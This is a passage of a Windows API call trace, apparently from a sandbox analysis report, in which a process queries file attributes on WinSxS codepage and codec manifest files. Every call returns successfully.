	[0107.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..o4-codecs.resources_31bf3856ad364e35_6.1.7600.16385_en-us_fdd5773ab7f778a7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..o4-codecs.resources_31bf3856ad364e35_6.1.7600.16385_en-us_fdd5773ab7f778a7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1548 | out: lpFileInformation=0x128f1548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c5669f, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4c5669f, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x87e)) returned 1
	[0107.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..o5-codecs.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ff29b0518391dafe.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..o5-codecs.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ff29b0518391dafe.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1598 | out: lpFileInformation=0x128f1598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cfae30, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3cfae30, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xe82)) returned 1
	[0107.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..odepage-50220-50222_31bf3856ad364e35_6.1.7600.16385_none_463ca33a369948c4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..odepage-50220-50222_31bf3856ad364e35_6.1.7600.16385_none_463ca33a369948c4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f15e8 | out: lpFileInformation=0x128f15e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8686124a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8686124a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb425f6dc, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4d5)) returned 1
	[0107.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..odepage-57002-57011_31bf3856ad364e35_6.1.7601.17514_none_3b7302d236956600.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..odepage-57002-57011_31bf3856ad364e35_6.1.7601.17514_none_3b7302d236956600.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1638 | out: lpFileInformation=0x128f1638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47210e7f, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x47210e7f, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x47236fe0, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xd3d)) returned 1
	[0107.491] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..odepage-core-arabic_31bf3856ad364e35_6.1.7600.16385_none_37ab9b7a8c340e69.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..odepage-core-arabic_31bf3856ad364e35_6.1.7600.16385_none_37ab9b7a8c340e69.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1688 | out: lpFileInformation=0x128f1688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8658d863, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8658d863, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb46fc15d, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2bf)) returned 1
	[0107.491] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..odepage-core-baltic_31bf3856ad364e35_6.1.7600.16385_none_bffa2cc7eea53b02.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..odepage-core-baltic_31bf3856ad364e35_6.1.7600.16385_none_bffa2cc7eea53b02.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f16d8 | out: lpFileInformation=0x128f16d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8677ca1c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8677ca1c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb47222bc, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2bf)) returned 1
	[0107.491] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..odepage-core-hebrew_31bf3856ad364e35_6.1.7600.16385_none_639abc6aeec71604.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..odepage-core-hebrew_31bf3856ad364e35_6.1.7600.16385_none_639abc6aeec71604.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1728 | out: lpFileInformation=0x128f1728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8752c788, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8752c788, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb47ba838, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2bf)) returned 1
	[0107.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..odepage-core-korean_31bf3856ad364e35_6.1.7600.16385_none_88cfb09735b46ea3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..odepage-core-korean_31bf3856ad364e35_6.1.7600.16385_none_88cfb09735b46ea3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1778 | out: lpFileInformation=0x128f1778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x864a9035, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x864a9035, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb4806af6, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2bf)) returned 1
	[0107.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..odepage-core-turkic_31bf3856ad364e35_6.1.7600.16385_none_0497ce85b1d8be81.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..odepage-core-turkic_31bf3856ad364e35_6.1.7600.16385_none_0497ce85b1d8be81.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f17c8 | out: lpFileInformation=0x128f17c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639e6aa, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8639e6aa, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb48c51d1, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2bf)) returned 1
	[0107.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..odepage-iso2022core_31bf3856ad364e35_6.1.7600.16385_none_60005733d19a4a2f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..odepage-iso2022core_31bf3856ad364e35_6.1.7600.16385_none_60005733d19a4a2f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1818 | out: lpFileInformation=0x128f1818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86482ed8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86482ed8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9d97227e, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x810)) returned 1
	[0107.492] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10000_31bf3856ad364e35_6.1.7600.16385_none_240f5e8729f07c94.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10000_31bf3856ad364e35_6.1.7600.16385_none_240f5e8729f07c94.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1868 | out: lpFileInformation=0x128f1868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e548d2, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86e548d2, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6e1f761b, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x921)) returned 1
	[0107.493] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10001_31bf3856ad364e35_6.1.7600.16385_none_24048e9b29f89885.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10001_31bf3856ad364e35_6.1.7600.16385_none_24048e9b29f89885.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f18b8 | out: lpFileInformation=0x128f18b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86814f90, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86814f90, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8a2f5505, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x927)) returned 1
	[0107.493] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10002_31bf3856ad364e35_6.1.7600.16385_none_23f9beaf2a00b476.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10002_31bf3856ad364e35_6.1.7600.16385_none_23f9beaf2a00b476.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1908 | out: lpFileInformation=0x128f1908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876833cd, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x876833cd, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xfd130d4d, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x947)) returned 1
	[0107.493] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10003_31bf3856ad364e35_6.1.7600.16385_none_23eeeec32a08d067.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10003_31bf3856ad364e35_6.1.7600.16385_none_23eeeec32a08d067.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1958 | out: lpFileInformation=0x128f1958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86436c1e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86436c1e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8cc04f71, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x923)) returned 1
	[0107.493] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10004_31bf3856ad364e35_6.1.7600.16385_none_23e41ed72a10ec58.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10004_31bf3856ad364e35_6.1.7600.16385_none_23e41ed72a10ec58.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f19a8 | out: lpFileInformation=0x128f19a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865415a9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x865415a9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xeecad34d, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x923)) returned 1
	[0107.494] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10005_31bf3856ad364e35_6.1.7600.16385_none_23d94eeb2a190849.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10005_31bf3856ad364e35_6.1.7600.16385_none_23d94eeb2a190849.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f19f8 | out: lpFileInformation=0x128f19f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874e04ce, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x874e04ce, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x846469e0, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x923)) returned 1
	[0107.494] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10006_31bf3856ad364e35_6.1.7600.16385_none_23ce7eff2a21243a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10006_31bf3856ad364e35_6.1.7600.16385_none_23ce7eff2a21243a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1a48 | out: lpFileInformation=0x128f1a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875528e5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x875528e5, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xfa4db4b7, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x925)) returned 1
	[0107.494] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10007_31bf3856ad364e35_6.1.7600.16385_none_23c3af132a29402b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10007_31bf3856ad364e35_6.1.7600.16385_none_23c3af132a29402b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1a98 | out: lpFileInformation=0x128f1a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86945a78, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86945a78, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x78955c96, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x927)) returned 1
	[0107.494] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10008_31bf3856ad364e35_6.1.7600.16385_none_23b8df272a315c1c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10008_31bf3856ad364e35_6.1.7600.16385_none_23b8df272a315c1c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1ae8 | out: lpFileInformation=0x128f1ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x866be34b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x866be34b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xaa9bad12, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x94b)) returned 1
	[0107.495] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10010_31bf3856ad364e35_6.1.7600.16385_none_2480e5b529a7811b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10010_31bf3856ad364e35_6.1.7600.16385_none_2480e5b529a7811b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1b38 | out: lpFileInformation=0x128f1b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cd7b30, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86cd7b30, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x197b150a, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x925)) returned 1
	[0107.495] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10017_31bf3856ad364e35_6.1.7600.16385_none_2435364129e044b2.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10017_31bf3856ad364e35_6.1.7600.16385_none_2435364129e044b2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1b88 | out: lpFileInformation=0x128f1b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cfdc8d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86cfdc8d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x51dfe5ad, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x925)) returned 1
	[0107.495] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10021_31bf3856ad364e35_6.1.7600.16385_none_24e79cf72966a193.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10021_31bf3856ad364e35_6.1.7600.16385_none_24e79cf72966a193.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1bd8 | out: lpFileInformation=0x128f1bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873d5b43, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x873d5b43, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa9f2a0ad, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x91f)) returned 1
	[0107.496] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10029_31bf3856ad364e35_6.1.7600.16385_none_24911d9729a7811b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10029_31bf3856ad364e35_6.1.7600.16385_none_24911d9729a7811b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1c28 | out: lpFileInformation=0x128f1c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86730762, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86730762, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x79c86d75, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x927)) returned 1
	[0107.496] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10079_31bf3856ad364e35_6.1.7600.16385_none_26c8c17d283a97be.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10079_31bf3856ad364e35_6.1.7600.16385_none_26c8c17d283a97be.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1c78 | out: lpFileInformation=0x128f1c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f39100, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f39100, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7f531395, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x929)) returned 1
	[0107.496] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10081_31bf3856ad364e35_6.1.7600.16385_none_2790c80b27b0bcbd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10081_31bf3856ad364e35_6.1.7600.16385_none_2790c80b27b0bcbd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1cc8 | out: lpFileInformation=0x128f1cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863523f0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x863523f0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa394157a, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x925)) returned 1
	[0107.496] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-10082_31bf3856ad364e35_6.1.7600.16385_none_2785f81f27b8d8ae.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-10082_31bf3856ad364e35_6.1.7600.16385_none_2785f81f27b8d8ae.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1d18 | out: lpFileInformation=0x128f1d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cfdc8d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86cfdc8d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa5e00823, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x925)) returned 1
	[0107.497] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20000_31bf3856ad364e35_6.1.7600.16385_none_517a337b47e05ce3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20000_31bf3856ad364e35_6.1.7600.16385_none_517a337b47e05ce3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1d68 | out: lpFileInformation=0x128f1d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a952a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x876a952a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3e30ba1e, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x923)) returned 1
	[0107.497] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20001_31bf3856ad364e35_6.1.7600.16385_none_516f638f47e878d4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20001_31bf3856ad364e35_6.1.7600.16385_none_516f638f47e878d4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1db8 | out: lpFileInformation=0x128f1db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a952a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x876a952a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x928b45a2, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x923)) returned 1
	[0107.497] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20002_31bf3856ad364e35_6.1.7600.16385_none_516493a347f094c5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20002_31bf3856ad364e35_6.1.7600.16385_none_516493a347f094c5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1e08 | out: lpFileInformation=0x128f1e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a952a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x876a952a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x40543578, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x925)) returned 1
	[0107.497] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20003_31bf3856ad364e35_6.1.7600.16385_none_5159c3b747f8b0b6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20003_31bf3856ad364e35_6.1.7600.16385_none_5159c3b747f8b0b6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1e58 | out: lpFileInformation=0x128f1e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876cf687, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x876cf687, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x251a86e8, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x92d)) returned 1
	[0107.498] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20004_31bf3856ad364e35_6.1.7600.16385_none_514ef3cb4800cca7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20004_31bf3856ad364e35_6.1.7600.16385_none_514ef3cb4800cca7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1ea8 | out: lpFileInformation=0x128f1ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876f57e4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x876f57e4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb02d825b, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x92d)) returned 1
	[0107.498] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20005_31bf3856ad364e35_6.1.7600.16385_none_514423df4808e898.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20005_31bf3856ad364e35_6.1.7600.16385_none_514423df4808e898.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1ef8 | out: lpFileInformation=0x128f1ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876f57e4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x876f57e4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xecd230a1, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x925)) returned 1
	[0107.498] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..onal-codepage-20105_31bf3856ad364e35_6.1.7600.16385_none_51440d1748090239.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..onal-codepage-20105_31bf3856ad364e35_6.1.7600.16385_none_51440d1748090239.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1f48 | out: lpFileInformation=0x128f1f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ec6ce9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86ec6ce9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x394a478d, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x951)) returned 1
